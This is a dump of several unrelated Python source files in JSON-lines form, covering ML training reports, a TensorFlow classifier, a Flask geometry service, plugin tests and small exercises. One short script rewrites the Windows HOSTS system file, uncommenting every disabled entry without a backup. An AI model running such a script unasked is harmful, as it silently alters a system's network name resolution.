is_close=True):\n \"\"\"Plots every given figure as a new page of the pdf.\n\n Args:\n file (str or PdfPages): file path where to save the PDF.\n figures (list): list of matplotlib figures, each of them will be saved as\n a new PDF page.\n is_close (bool, optional): whether to close the PDF file or to return it.\n The Latter is useful if you want to save something in the PDF later.\n \"\"\"\n if isinstance(file, str):\n if os.path.isfile(file):\n try:\n os.rename(file, \" \".join(file.split(\".\")[:-1]) + \"_old.pdf\")\n except OSError as e:\n print(e)\n pass\n pdf = PdfPages(file)\n else:\n pdf = file\n\n for fig in figures:\n pdf.savefig(fig)\n plt.close()\n\n if is_close:\n pdf.close()\n else:\n return pdf\n\n\ndef _generate_attn_figs(files, task_path, n_sample_plots=3, **kwargs):\n \"\"\"Generates `n_sample_plots` attention plots by sampling examples in `files`\n and predicting using the model in `task_path`.\n \"\"\"\n attn_visualizer = AttentionVisualizer(task_path, is_show_name=False, **kwargs)\n\n def generator():\n \"\"\"Uses a sub generator in order to correctly catch errors of the\n `AttentionVisualizer` constructor.\n \"\"\"\n for file in files:\n samples = pd.read_csv(file,\n sep=\"\\t\",\n header=None,\n usecols=[0, 1]).sample(n_sample_plots)\n\n yield plot_text(file.split(\"/\")[-1])\n\n for _, sample in samples.iterrows():\n try:\n attn_fig = attn_visualizer(sample[0], sample[1])\n yield attn_fig\n except IndexError:\n warnings.warn(\"Skippping one attention visualisation as the length prediction was wrong.\")\n\n return generator()\n\n\ndef plot_report(task, name, output_dir, is_plot_train, n_attn_plots,\n compare_name=None,\n sub_run=None,\n is_multiple_tasks=False,\n _filenames=dict(results=\"results.csv\",\n histories=\"histories.csv\",\n other=\"other.pkl\",\n parameters='train_arguments.txt',\n report='report.pdf')):\n\n output_path = os.path.join(output_dir, name)\n task_name = task.name if sub_run is None else \"{}_{}\".format(task.name, sub_run)\n task_path = os.path.join(output_path, task_name)\n report_task_path = os.path.join(task_path, _filenames[\"report\"])\n\n (model, results, histories,\n other, parameters) = _load_output_training(task_path, _filenames=_filenames)\n\n k = histories[\"k\"].max() + 1\n\n # TITLE #\n to_format = \"{} \\n Task: {} \\n # parameters : {} \\n # runs : {}\"\n text_title = to_format.format(task.name,\n name.capitalize(),\n parameters[\"n_parameters\"],\n k)\n fig_title = plot_text(text_title, size=10)\n\n # MODEL #\n fig_model = plot_text(str(model), size=6, ha=\"left\", x=0.2)\n\n # LOSSES #\n fig_losses = plot_losses(histories,\n title=\"{} - training and validation losses\".format(task.name))\n\n # METRICS #\n title_results = '{} - average metrics. Bootstrap 95 % CI.'.format(task.name)\n\n if compare_name is not None:\n compare_to = reduce(os.path.join,\n [output_dir, compare_name, task.name, _filenames[\"results\"]])\n compare_to = pd.read_csv(compare_to)\n grid = plot_compare(results, compare_to, name, compare_name,\n is_plot_mean=True,\n title=title_results)\n else:\n grid = plot_results(results, is_plot_mean=True, title=title_results)\n fig_results = grid.fig\n\n figs_generator = [fig_title, fig_model, fig_losses, fig_results]\n\n # VIZ TRAIN #\n if is_plot_train:\n figs_generator += visualize_training(other[\"visualize\"], model)\n\n # ATTENTION #\n if n_attn_plots != 0 and parameters[\"content_method\"] != \"hard\":\n try:\n attn_figs_generator = _generate_attn_figs(task.test_paths, task_path,\n n_sample_plots=n_attn_plots,\n is_predict_eos=parameters[\"is_predict_eos\"])\n except AttentionException:\n warnings.warn(\"Skipping the attention plotter because the model is not using attention.\")\n attn_figs_generator = []\n\n # generator because could be very memory heavy\n figs_generator = itertools.chain(figs_generator, attn_figs_generator)\n\n # RETURN #\n\n figures_to_pdf(report_task_path, figures=figs_generator)\n\n if is_multiple_tasks:\n return model, other, [fig_title, fig_model, fig_losses, fig_results]\n else:\n return model, other\n\n\n### Helpers ###\n\n\ndef _namer(name, is_rm_FalseNone=False, **kwargs):\n \"\"\"Append variable name and value in alphabetical order to `name`.\"\"\"\n def _key_value_to_name(k, v):\n if isinstance(v, list):\n return \"_\".join(sorted(v))\n if isinstance(v, bool):\n if not v:\n return k.replace(\"is_\", \"no_\")\n else:\n return k.split(\"is_\")[-1]\n elif isinstance(v, str):\n return v\n else:\n return k.split(\"_size\")[0] + str(v)\n\n if is_rm_FalseNone:\n kwargs = {k: v for k, v in kwargs.items() if v != False and v is not None}\n kwargs = sorted([_key_value_to_name(k, v) for k, v in kwargs.items()])\n if kwargs != {}:\n name += \"_\" + \"_\".join(kwargs)\n return name\n\n\ndef _format_losses_history(histories):\n \"\"\"Formats a pd.DataFrame where the `k` rows correspond to different runs,\n the columns are the different datas and the each cell contains a list of `n_epoch`\n values corresponding to the loss at each epoch. Return a melted pd.dataframe\n with `n_epoch` rows and `columns=[\"epoch\",\"k\",\"loss\",\"data\"]`.\n \"\"\"\n histories = {name: pd.DataFrame(dict(zip(col.index, col.values)))\n for name, col in histories.iteritems()}\n losses = []\n for name, df in histories.items():\n value_col = df.columns\n df['epoch'] = df.index\n df = pd.melt(df, value_vars=value_col, var_name=\"k\", value_name=\"loss\", id_vars=\"epoch\")\n df[\"data\"] = name.split('_')[-1]\n losses.append(df)\n losses = pd.concat(losses, axis=0)\n return losses\n\n\ndef _tensors_to_np_array(list_tensors):\n \"\"\"COnversts a list of tensors to a numpy array.\"\"\"\n try:\n arr = torch.stack(list_tensors).detach().squeeze().cpu().numpy()\n except TypeError:\n arr = np.array(list_tensors)\n\n return arr\n\n\ndef _format_other(other):\n \"\"\"Format the additional outputs of the model predictions.\"\"\"\n return {k_ext: {k_int: _tensors_to_np_array(v_int) for k_int, v_int in v_ext.items()}\n for k_ext, v_ext in other.items()}\n\n\ndef _load_output_training(task_path,\n _filenames=dict(results=\"results.csv\",\n histories=\"histories.csv\",\n other=\"other.pkl\",\n parameters='train_arguments.txt')):\n \"\"\"Loads all the components that were saved during and at the end of training.\"\"\"\n checkpoint = Checkpoint.load(task_path)\n model = checkpoint.model\n results = pd.read_csv(os.path.join(task_path, _filenames[\"results\"]))\n histories = pd.read_csv(os.path.join(task_path, _filenames[\"histories\"]),\n converters={0: ast.literal_eval, 1: ast.literal_eval})\n with open(os.path.join(task_path, _filenames[\"other\"]), 'rb') as f:\n other = pickle.load(f)\n with open(os.path.join(task_path, _filenames[\"parameters\"]), 'r') as f:\n parameters = json.load(f)\n\n histories = _format_losses_history(histories)\n\n return model, results, histories, other, parameters\n\n### Evalation ###\n\n\ndef _evaluate(checkpoint_path, test_paths,\n metric_names=[\"word accuracy\", \"sequence accuracy\", \"final target accuracy\"],\n loss_names=[\"nll\"],\n max_len=50,\n batch_size=32,\n is_predict_eos=True,\n content_method=None):\n \"\"\"Evaluates the models saved in a checkpoint.\"\"\"\n results = []\n\n print(\"loading checkpoint from {}\".format(os.path.join(checkpoint_path)))\n checkpoint = Checkpoint.load(checkpoint_path)\n seq2seq = checkpoint.model\n\n tabular_data_fields = get_tabular_data_fields(content_method=content_method,\n is_predict_eos=is_predict_eos)\n\n dic_data_fields = dict(tabular_data_fields)\n src = dic_data_fields[\"src\"]\n tgt = dic_data_fields[\"tgt\"]\n\n src.vocab = checkpoint.input_vocab\n tgt.vocab = checkpoint.output_vocab\n tgt.eos_id = tgt.vocab.stoi[tgt.SYM_EOS]\n tgt.sos_id = tgt.vocab.stoi[tgt.SYM_SOS]\n\n for test_path in test_paths:\n test = get_data(test_path, max_len, tabular_data_fields)\n\n metrics = get_metrics(metric_names, src, tgt, is_predict_eos)\n losses, loss_weights = get_losses(loss_names, tgt, is_predict_eos)\n\n evaluator = Evaluator(loss=losses, batch_size=batch_size, metrics=metrics)\n data_func = SupervisedTrainer.get_batch_data\n losses, metrics = evaluator.evaluate(model=seq2seq, data=test, get_batch_data=data_func)\n\n total_loss, log_msg, _ = SupervisedTrainer.get_losses(losses, metrics, 0)\n\n dataset = test_path.split('/')[-1].split('.')[0]\n results.append([dataset, total_loss] + [metric.get_val() for metric in metrics])\n\n results_df = pd.DataFrame(results,\n columns=[\"Dataset\", \"Loss\"] + [metric.name for metric in metrics])\n\n results_df = results_df.melt(id_vars=['Dataset'], var_name=\"Metric\", value_name='Value')\n\n return results_df\n\n\ndef _save_output_training(output_path, results, other, histories,\n _filenames=dict(results=\"results.csv\",\n histories=\"histories.csv\",\n other=\"other.pkl\")):\n results.to_csv(os.path.join(output_path, _filenames[\"results\"]),\n index=False)\n histories.to_csv(os.path.join(output_path, _filenames[\"histories\"]),\n index=False)\n with open(os.path.join(output_path, _filenames[\"other\"]), 'wb') as f:\n pickle.dump(other, f)\n\n\ndef _train_evaluate(name,\n train_path,\n test_paths,\n valid_path,\n oneshot_path=None,\n metric_names=[\"word accuracy\", \"sequence accuracy\", \"final target accuracy\"],\n loss_names=[\"nll\"],\n k=5,\n output_dir=\"models/\",\n max_len=50,\n is_save=True,\n is_predict_eos=True,\n batch_size=32,\n content_method=\"scalemult\",\n _filenames=dict(results=\"results.csv\",\n histories=\"histories.csv\",\n other=\"other.pkl\"),\n **kwargs):\n \"\"\"Train a model and evaluate it.\"\"\"\n output_path = os.path.join(output_dir, name)\n\n if not is_predict_eos:\n if \"final target accuracy\" not in metric_names:\n # final target accuracy is like sequence accuracy but is correct if\n # outputted too many token (but not if not enough!)\n metric_names.append(\"final target accuracy\")\n\n results_dfs = [None] * k\n histories = [None] * k\n is_last_run = False\n for i in range(k):\n if i % 5 == 0:\n print(\"run: {}\".format(i))\n\n if i == k - 1:\n is_last_run = True\n\n model, history, other = train(train_path, valid_path,\n oneshot_path=oneshot_path,\n output_dir=output_dir,\n max_len=max_len,\n name_checkpoint=name,\n is_predict_eos=is_predict_eos,\n batch_size=batch_size,\n content_method=content_method,\n metric_names=metric_names,\n loss_names=loss_names,\n **kwargs)\n # DEV MODE\n confusers = other.pop(\"confusers\")\n other = _format_other(other)\n other[\"confusers\"] = confusers\n\n histories[i] = list(history)\n results_dfs[i] = _evaluate(output_path, test_paths,\n is_predict_eos=is_predict_eos,\n max_len=max_len,\n batch_size=batch_size,\n content_method=content_method,\n metric_names=metric_names,\n loss_names=loss_names)\n\n if k > 1:\n i_output_path = output_path + \"_{}\".format(i)\n copy_tree(output_path, i_output_path)\n\n if is_save:\n histories_i = pd.DataFrame([histories[i]], columns=history.names)\n _save_output_training(i_output_path, results_dfs[i], other, histories_i,\n _filenames=_filenames)\n\n if not is_last_run:\n shutil.rmtree(output_path)\n\n histories = pd.DataFrame(histories, columns=history.names)\n results = pd.concat(results_dfs).reset_index(drop=True)\n\n if is_save:\n _save_output_training(output_path, results, other, histories,\n _filenames=_filenames)\n\n return model, other\n","sub_path":"tasks/reporter.py","file_name":"reporter.py","file_ext":"py","file_size_in_byte":23992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"620293006","text":"#!/usr/bin/python3\nclass Node:\n \"\"\"Define a Node class.\"\"\"\n\n def __init__(self, data, next_node=None):\n \"\"\"Define and initialize a node.\n data (int): the data to store in the node\n next_node (Node): optional, the next node\n \"\"\"\n if not isinstance(data, int):\n raise TypeError(\"data must be an integer\")\n if next_node is not None and not isinstance(next_node, Node):\n raise TypeError(\"next_node must be a Node object\")\n self.data = data\n self.next_node = next_node\n\n @property\n def data(self):\n \"\"\"Define data property\"\"\"\n return self.__data\n\n @data.setter\n def data(self, value):\n \"\"\"Set the value of the Node.\n value (int): the new value to store\n \"\"\"\n if not isinstance(value, int):\n raise TypeError(\"data must be an integer\")\n self.__data = value\n\n @property\n def next_node(self):\n \"\"\"Define next_node property\"\"\"\n return self.__next_node\n\n @next_node.setter\n def next_node(self, value):\n \"\"\"Set the value of the next node.\n value (Node): the new next_node to point to\n \"\"\"\n if value is not None and not isinstance(value, Node):\n raise TypeError(\"next_node must be a Node object\")\n self.__next_node = value\n\n\nclass SinglyLinkedList:\n \"\"\"Define a SinglyLinkedList class.\"\"\"\n\n def __init__(self):\n \"\"\"Define and initialize a singly linked list.\"\"\"\n self.__head = None\n\n def __str__(self):\n \"\"\"Define a singly linked list as a string\"\"\"\n str_list = \"\"\n if self.__head:\n str_list += str(self.__head._Node__data)\n temp = self.__head._Node__next_node\n while temp:\n str_list += \"\\n\" + str(temp._Node__data)\n temp = temp._Node__next_node\n return str_list\n\n @property\n def head(self):\n \"\"\"Define head property.\"\"\"\n return self.__head\n\n def sorted_insert(self, value):\n \"\"\"Inserts a new Node into the correct sorted position in the list \\\n (increasing order).\n value (int): the value to store at the new node in the list\n \"\"\"\n new_node = Node(value)\n if self.__head is None:\n self.__head = new_node\n elif value <= self.__head._Node__data:\n new_node._Node__next_node = self.__head\n self.__head = new_node\n elif self.__head._Node__next_node is None:\n self.__head._Node__next_node = new_node\n else:\n temp = self.__head\n while temp._Node__next_node:\n if value <= temp._Node__next_node._Node__data:\n new_node._Node__next_node = temp._Node__next_node\n temp._Node__next_node = new_node\n break\n else:\n temp = temp._Node__next_node\n if not temp._Node__next_node:\n temp._Node__next_node = new_node\n break\n","sub_path":"0x06-python-classes/100-singly_linked_list.py","file_name":"100-singly_linked_list.py","file_ext":"py","file_size_in_byte":3053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"404513450","text":"import os\nimport tensorflow as tf\nimport numpy as np\nfrom PIL import Image\nimport time\n\nclass Classifier():\n \n# start constructor\n def __init__(self):\n\n #Loading graph and labels\n self.RETRAINED_LABELS_TXT_FILE_LOC = os.getcwd() + \"/\" + \"retrained_labels.txt\"\n self.RETRAINED_GRAPH_PB_FILE_LOC = os.getcwd() + \"/\" + \"retrained_graph.pb\"\n\n if not self.checkIfNecessaryPathsAndFilesExist():\n print(\"Graph or label not detected\")\n else:\n print(\"Graph and label found\")\n # end if\n\n # get a list of classifications from the labels file\n self.classifications = []\n # for each line in the label file . . .\n for currentLine in tf.gfile.GFile(self.RETRAINED_LABELS_TXT_FILE_LOC):\n # remove the carriage return\n self.classification = currentLine.rstrip()\n # and append to the list\n self.classifications.append(self.classification)\n # end for\n\n # show the classifications to prove out that we were able to read the label file successfully\n print(\"classifications = \" + str(self.classifications))\n\n # load the graph from file\n with tf.gfile.FastGFile(self.RETRAINED_GRAPH_PB_FILE_LOC, 'rb') as retrainedGraphFile:\n # instantiate a GraphDef object\n graphDef = tf.GraphDef()\n # read in retrained graph into the GraphDef object\n graphDef.ParseFromString(retrainedGraphFile.read())\n # import the graph into the current default Graph, note that we don't need to be concerned with the return value\n _ = tf.import_graph_def(graphDef, name='')\n # end with\n\n with tf.Session() as sess:\n # get the final tensor from the graph\n self.finalTensor = sess.graph.get_tensor_by_name('final_result:0')\n\n # getting image path\n self.imageFileWithPath = os.path.join(os.getcwd(), \"image.jpg\")\n\n# end constructor\n\n# start function\n def classify(self):\n\n with tf.Session() as sess:\n \n\n # checking if image is saved\n while not os.path.isfile(self.imageFileWithPath):\n print(\"waiting\")\n time.sleep(1)\n \n\n # loading image\n image = Image.open(self.imageFileWithPath)# will automatically show error if file is not found\n\n # convert the PIL image (numpy array) to a TensorFlow image\n tfImage = np.array(image)[:, :, 0:3]\n\n # run the network to get the predictions\n predictions = sess.run(self.finalTensor, {'DecodeJpeg:0': tfImage})\n\n # sort predictions from most confidence to least confidence\n sortedPredictions = predictions[0].argsort()[-len(predictions[0]):][::-1]\n\n # getting the prediction\n strClassification = self.classifications[sortedPredictions[0]]\n\n # if the classification (obtained from the directory name) ends with the letter \"s\", remove the \"s\" to change from plural to singular\n if strClassification.endswith(\"s\"):\n strClassification = strClassification[:-1]\n # end if\n\n # get confidence, then get confidence rounded to 2 places after the decimal\n confidence = predictions[0][sortedPredictions[0]]\n\n # get the score as a %\n scoreAsAPercent = confidence * 100.0\n\n #deleting the image\n os.remove(self.imageFileWithPath)\n\n # return result\n return strClassification.title() + \", \" + \"{0:.2f}\".format(scoreAsAPercent) + \"% confidence\".title()\n\n# start function\n def checkIfNecessaryPathsAndFilesExist(self):\n\n if not os.path.exists(self.RETRAINED_LABELS_TXT_FILE_LOC):\n print('ERROR: RETRAINED_LABELS_TXT_FILE_LOC \"' + self.RETRAINED_LABELS_TXT_FILE_LOC + '\" does not seem to exist')\n return False\n # end if\n\n if not os.path.exists(self.RETRAINED_GRAPH_PB_FILE_LOC):\n print('ERROR: RETRAINED_GRAPH_PB_FILE_LOC \"' + self.RETRAINED_GRAPH_PB_FILE_LOC + '\" does not seem to exist')\n return False\n # end if\n\n return True\n# end function\n","sub_path":"Leaf Identification System/Classifier.py","file_name":"Classifier.py","file_ext":"py","file_size_in_byte":4209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"156962106","text":"from flask import Flask\nimport pandas as pd\nimport time\nimport progressbar\nfrom time import sleep\nfrom shapely.geometry import Point, Polygon\nfrom datetime import date, datetime\nimport mysql.connector\n\n@app.route('/')\ndef home():\n return \"This url have point in polygon engine\"\n\n@app.route('/template')\ndef template():\n return render_template('home.html')\n\ndef df_coordinates_to_tuple(single_poly_coordinates_str):\n # split coordinate data by ','\n coordinates = single_poly_coordinates_str.split(',')\n\n # convert list of coordinate into list of tuple (split by space)\n b = []\n for i in range(len(coordinates)):\n b.append(tuple(coordinates[i].split(' ')[:]))\n b_tup = []\n\n # convert from string into float\n for i in range(len(b)):\n try:\n if float(b[i][0]):\n c = float(b[i][0])\n except IndexError:\n return 0\n try:\n if float(b[i][1]):\n d = float(b[i][1])\n except IndexError:\n return 0\n\n c = float(b[i][0])\n d = float(b[i][1])\n b_tup.append((c,d))\n return b_tup\n\ndef check_locations_pip(poin_odp, poly_cluster):\n poly = Polygon(poly_cluster)\n poin = Point(poin_odp)\n return poin.within(poly)\n\ndef print_to_file(log):\n path = \"../point_in_polygon_uploader/storage/tmp/uploads/\"\n now = datetime.now()\n dt_string = now.strftime(\"%d/%m/%Y %H:%M:%S\")\n f=open(path+\"log.txt\", \"a+\")\n f.write(\"[\"+dt_string+\"]\\t\"+log+\"\\n\")\n f.close\n\ndef insert_db(user_id,status,percentage=0):\n now = datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")\n sql = \"INSERT INTO processes (user_id, status, percentage, created_at, updated_at) VALUES (%s, %s, %s)\"\n val = (user_id, 'running', 0)\n mycursor.execute(sql, val)\n\n@app.route('/execute_pip/')\ndef process_pip(user_id):\n #insert_db(user_id,'running',0)\n log = \"execution by user_id: \"+str(user_id)\n print(log)\n print_to_file(log)\n log = \"step 1: load files by user_id: \"\n print(log)\n print_to_file(log)\n # convert data excel koordinat cluster untuk polygon\n path = \"../point_in_polygon_uploader/storage/tmp/uploads/\"\n cluster_df = pd.read_excel(path+\"cluster.xlsx\")\n odp_df = pd.read_csv(path+\"odp.csv\", delimiter=\";\")\n\n odp_df['cluster_id'] = ''\n\n # convert data titik odp ke list of tuple\n print(\"step 2: convert data odp ke format list of tuple\")\n odp_tuples = []\n for i in range(len(odp_df)):\n lat = odp_df.LATITUDE[i]\n long = odp_df.LONGITUDE[i]\n odp_tuples.append((lat,long))\n\n log = \"step 3: convert data koordinat cluster ke tuple\"\n print(log)\n print_to_file(log)\n list_cluster_tuple = []\n start = 0\n end = len(cluster_df)\n error_clusters = []\n\n for i in range(len(cluster_df)):\n if i >= start and i < end and i != 1732:\n if df_coordinates_to_tuple(cluster_df.coordinate[i]) != 0:\n list_cluster_tuple.append(df_coordinates_to_tuple(cluster_df.coordinate[i]))\n else:\n error_clusters.append(cluster_df.cluster_id[i])\n\n # loop all\n start_time = time.time()\n bar = progressbar.ProgressBar(maxval=len(list_cluster_tuple), \\\n widgets=[progressbar.Bar('=', '[', ']'), ' ', progressbar.Percentage()])\n\n # cek semua poin dalam polygon\n log = \"step 4: cek setiap poin odp dalam cluster polygon\"\n print(log)\n print_to_file(log)\n log = str(len(list_cluster_tuple))+\" clusters to check\"\n print(log)\n print_to_file(log)\n log = str(len(odp_tuples))+\" ODP(s) to check\"\n print(log)\n print_to_file(log)\n print(\"progress: \")\n log = \"progress: \"\n print(log)\n print_to_file(log)\n\n baris_cluster = 0\n bar.start()\n for i in range(len(list_cluster_tuple)):\n bar.update(i+1)\n baris_odp = 0\n found = []\n for odp in odp_tuples:\n if check_locations_pip(poin_odp=odp, poly_cluster=list_cluster_tuple[i]) == True:\n odp_df.at[baris_odp, 'cluster_id'] = cluster_df.cluster_id[i]\n found.append(odp)\n baris_odp = baris_odp + 1\n baris_cluster = i\n log = \"ditemukan \"+str(len(found))+\" ODP di cluster_id: \"+str(cluster_df.cluster_id[baris_cluster])+\", polygon ke: \"+str(baris_cluster)\n print(log)\n print_to_file(log)\n bar.finish()\n print(\"--- selesai dalam %s seconds ---\" % (time.time() - start_time))\n log = \"--- selesai dalam %s seconds ---\" % (time.time() - start_time)\n print_to_file(log)\n\n print(\"step 6: generate excel file\")\n log = \"step 6: generate excel file\"\n print_to_file(log)\n path = \"../point_in_polygon_uploader/storage/tmp/uploads/\"\n output_file = str(date.today())+\" Koordinat ODP dengan cluster_id.xlsx\"\n odp_df.to_excel(path+output_file)\n print('done and dusted')\n print_to_file('done and dusted')\n return 'done'\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"479321037","text":"input = open(r'C:\\WINDOWS\\system32\\drivers\\etc\\HOSTS', 'r')\r\nlines = input.readlines()\r\nprint(lines)\r\ninput.close()\r\nliness = []\r\noutput = open(r'C:\\WINDOWS\\system32\\drivers\\etc\\HOSTS', 'w')\r\nfor line in lines:\r\n if line[0] == '#':\r\n line = line[1:]\r\n liness.append(line)\r\noutput.writelines(liness)\r\noutput.close()\r\n","sub_path":"bak/other/yfb_hosts.py","file_name":"yfb_hosts.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"212716766","text":"from OfflineSelections import OfflineSelection\n\nclass AllJpsiPhiSelection( OfflineSelection ):\n def __init__( self, selection = None ):\n OfflineSelection.__init__( self, \"JpsiPhi\" )\n self._angles = True\n self._angleTool = \"Bs2JpsiPhiAngleCalculator\"\n \n self._cut = \"ALL\"\n\n self._selection = { }\n \n if selection:\n self._selection.update( selection )\n\n def angleTool( self ):\n return self._angleTool\n\nclass JpsiSelection( OfflineSelection ):\n def __init__( self, selection = None ):\n OfflineSelection.__init__( self, \"Jpsi\" )\n self._angles = False\n \n self._cut = \"( ( '%(MotherName)s' == ABSID ) \\\n & ( in_range( %(minMass)s * MeV, M, %(maxMass)s * MeV ) ) \\\n & ( MINTREE( DLLmu, 'mu+' == ABSID ) > %(minDLLmupi)s ) \\\n & ( MAXTREE( TRCHI2DOF, 'mu+' == ABSID ) < %(maxTrChi2DoFMu)s ) \\\n & ( MINTREE( PT, 'mu+' == ABSID ) > %(minMuPt)s ) \\\n & ( VFASPF( VCHI2PDOF ) < %(maxVtxChi2DoF)s ) )\"\n \n self._selection = { \"MotherName\" : \"J/psi(1S)\",\n \"minMass\" : 3017,\n \"maxMass\" : 3277,\n \"maxTrChi2DoFMu\" : 4,\n \"minMuPt\" : 500,\n \"minDLLmupi\" : 0,\n \"maxVtxChi2DoF\" : 11 }\n \n if selection:\n self._selection.update( selection )\n","sub_path":"DBASE/WG/B2CCConfig/python/BetaSReaders/UtilitySelections.py","file_name":"UtilitySelections.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"206239069","text":"import tensorflow as tf\n\n#在 Tensorflow 中需要定义 placeholder 的 type ,一般为 float32 形式\n# placeholder 是 Tensorflow 中的占位符,暂时储存变量.\ninput1 = tf.placeholder(tf.float32)\ninput2 = tf.placeholder(tf.float32)\n\n# mul = multiply 是将input1和input2 做乘法运算,并输出为 output\nouput = tf.multiply(input1, input2)\n\n# placeholder 与 feed_dict={} 是绑定在一起出现的。\n# 前面是表达式,后面feed_dict是参数值对象\nwith tf.Session() as sess:\n print(sess.run(ouput, feed_dict={input1: [7.], input2: [2.]}))\n# [ 14.]\n\n# placeholder 是你输入自己数据的接口, variable 是网络自身的变量, 通常不是你来进行修改, 而是网络自身会改动更新.\n","sub_path":"tensorflow_placeholder.py","file_name":"tensorflow_placeholder.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"277999142","text":"import os\nimport codecs\n\nfrom django.core.management.base import BaseCommand\n\n\nclass Command(BaseCommand):\n help = 'Creates filesystem templates from database templates.'\n args = \"output_template_directory\"\n\n def handle(self, template_dir, **options):\n from django.conf import settings\n from ella.db_templates.models import DbTemplate\n\n # create non existent directory\n if not os.path.isdir(template_dir):\n os.makedirs(template_dir)\n\n os.chdir(template_dir)\n for i in DbTemplate.objects.filter(site__id=settings.SITE_ID):\n # create all dirs from template name\n path = '/'.join(i.name.split('/')[:-1])\n if not os.path.isdir(path):\n os.makedirs(path)\n\n # dump unicode template\n f = codecs.open(i.name, \"w\", \"utf-8\")\n f.write(i.get_text())\n f.close()\n\n\n","sub_path":"ella/db_templates/management/commands/dumpdbtemplates.py","file_name":"dumpdbtemplates.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"116787089","text":"import os\nimport unittest\nfrom mock import Mock, patch\n\nfrom tests.plugins.helpers import SNMPPollingPluginTestFramework, setup_module_default, tear_down_module_default\nfrom yahoo_panoptes.plugins.polling.interface.plugin_polling_device_interface_metrics import \\\n PluginPollingDeviceInterfaceMetrics, _MISSING_METRIC_VALUE, _INTERFACE_STATES\n\n_MOCK_INTERFACE_ENTRY = '0'\npwd = os.path.dirname(os.path.abspath(__file__))\n\n\ndef setUpModule():\n return setup_module_default(plugin_pwd=pwd)\n\n\ndef tearDownModule():\n return tear_down_module_default()\n\n\nclass TestPluginPollingDeviceInterfaceMetrics(SNMPPollingPluginTestFramework, unittest.TestCase):\n plugin_conf = {\n 'Core': {\n 'name': 'Test Plugin',\n 'module': 'test_plugin'\n },\n 'main': {\n 'execute_frequency': '60',\n 'resource_filter': 'resource_class = \"network\"'\n },\n 'enrichment': {\n 'preload': 'self:interface'\n }\n }\n\n plugin_class = PluginPollingDeviceInterfaceMetrics\n path = pwd\n\n def test_missing_interface(self):\n plugin = self.plugin_class()\n plugin.run(self._plugin_context)\n self.assertEqual(plugin.get_bits_in(_MOCK_INTERFACE_ENTRY), _MISSING_METRIC_VALUE)\n self.assertEqual(plugin.get_bits_out(_MOCK_INTERFACE_ENTRY), _MISSING_METRIC_VALUE)\n self.assertEqual(plugin.get_total_packets_in(_MOCK_INTERFACE_ENTRY), _MISSING_METRIC_VALUE)\n self.assertEqual(plugin.get_total_packets_out(_MOCK_INTERFACE_ENTRY), _MISSING_METRIC_VALUE)\n\n def test_get_state_val(self):\n assert self.plugin_class._get_state_val('2') == _INTERFACE_STATES.DOWN\n assert self.plugin_class._get_state_val('1') == _INTERFACE_STATES.UP\n assert self.plugin_class._get_state_val('1234') == _INTERFACE_STATES.UNKNOWN\n\n def test_metric_not_number(self):\n mock_is_instance = Mock(return_value=False)\n plugin = self.plugin_class()\n with patch('yahoo_panoptes.plugins.polling.interface.plugin_polling_device_interface_metrics.'\n 'isinstance', mock_is_instance):\n results = plugin.run(self._plugin_context)\n self.assertEqual(len(results), 2)\n\n def test_iftable_stats_exception_handling(self):\n mock_get_type = Mock(side_effect=Exception)\n plugin = self.plugin_class()\n plugin.get_type = mock_get_type\n self.assertRaises(Exception, plugin.run(self._plugin_context))\n\n def test_ifxtable_stats_exception_handling(self):\n mock_get_bits_in = Mock(side_effect=Exception)\n plugin = self.plugin_class()\n plugin.get_bits_in = mock_get_bits_in\n self.assertRaises(Exception, plugin.run(self._plugin_context))\n\n def test_dot3table_stats_exception_handling(self):\n mock_get_errors_frame = Mock(side_effect=Exception)\n plugin = self.plugin_class()\n plugin.get_errors_frame = mock_get_errors_frame\n self.assertRaises(Exception, plugin.run(self._plugin_context))\n","sub_path":"tests/plugins/polling/interface/test_plugin_polling_device_interface_metrics.py","file_name":"test_plugin_polling_device_interface_metrics.py","file_ext":"py","file_size_in_byte":3013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"142078785","text":"import json\n\n\"\"\"\nLoads json data into an array\n\"\"\"\ndef load_data(filename):\n\tdata = None\n\twith open(filename) as data_file:\n\t\tdata = json.load(data_file)\n\treturn data\n\n\"\"\"\nInput: List of recipes\nOutput: Estimated probability of each cuisine\n\nForm of Output:\n\tcuisine_probs should be a dictionary with the keys being cuisines and the \n\tvalues being the probability of them occurring.\n\n\tThis is an example of what it should look like (all these probabilities are made up):\n\tcuisine_probs = \n\t{u'brazilian': 0.1,\n\t u'british': 0.4,\n\t u'cajun_creole': 0.2,\n\t u'chinese': 0.2,\n\t u'filipino': 0.1}\n\nAs a sanity check, try to make sure that the sum of the cuisine probabilities is 1.\n\"\"\"\ndef get_cuisine_probs(data):\n\tcuisine_count = {}\n\t# Calculate number of times each ingredient and cuisine appears in the whole dataset\n\n\t# Divide each count by length of dataset to get cuisine_probs\n\tcuisine_probs = {}\n\n\treturn cuisine_probs\n\n\"\"\"\nInput: List of recipes\nOutput: Estimated probability of an ingredient given that the recipe is a particular cuisine\n\nForm of Output:\n\tingredient_prob_given_cuisine should be a dictionary with the keys being\n\tcuisine and the values being dictionaries. Each value dictionary should\n\thave keys being ingredients and value being the probability of the ingredient\n\tgiven that cuisine.\n\n\tThis is an example of what it should look like (all these probabilities are made up):\n\tingredient_prob_given_cuisine = {\n\tu'vietnamese': {u'low-sodium fat-free chicken broth': 0.1,\n\t\t\t\t\tu'sweetened coconut': 0.05,\n\t\t\t\t\tu'baking chocolate': 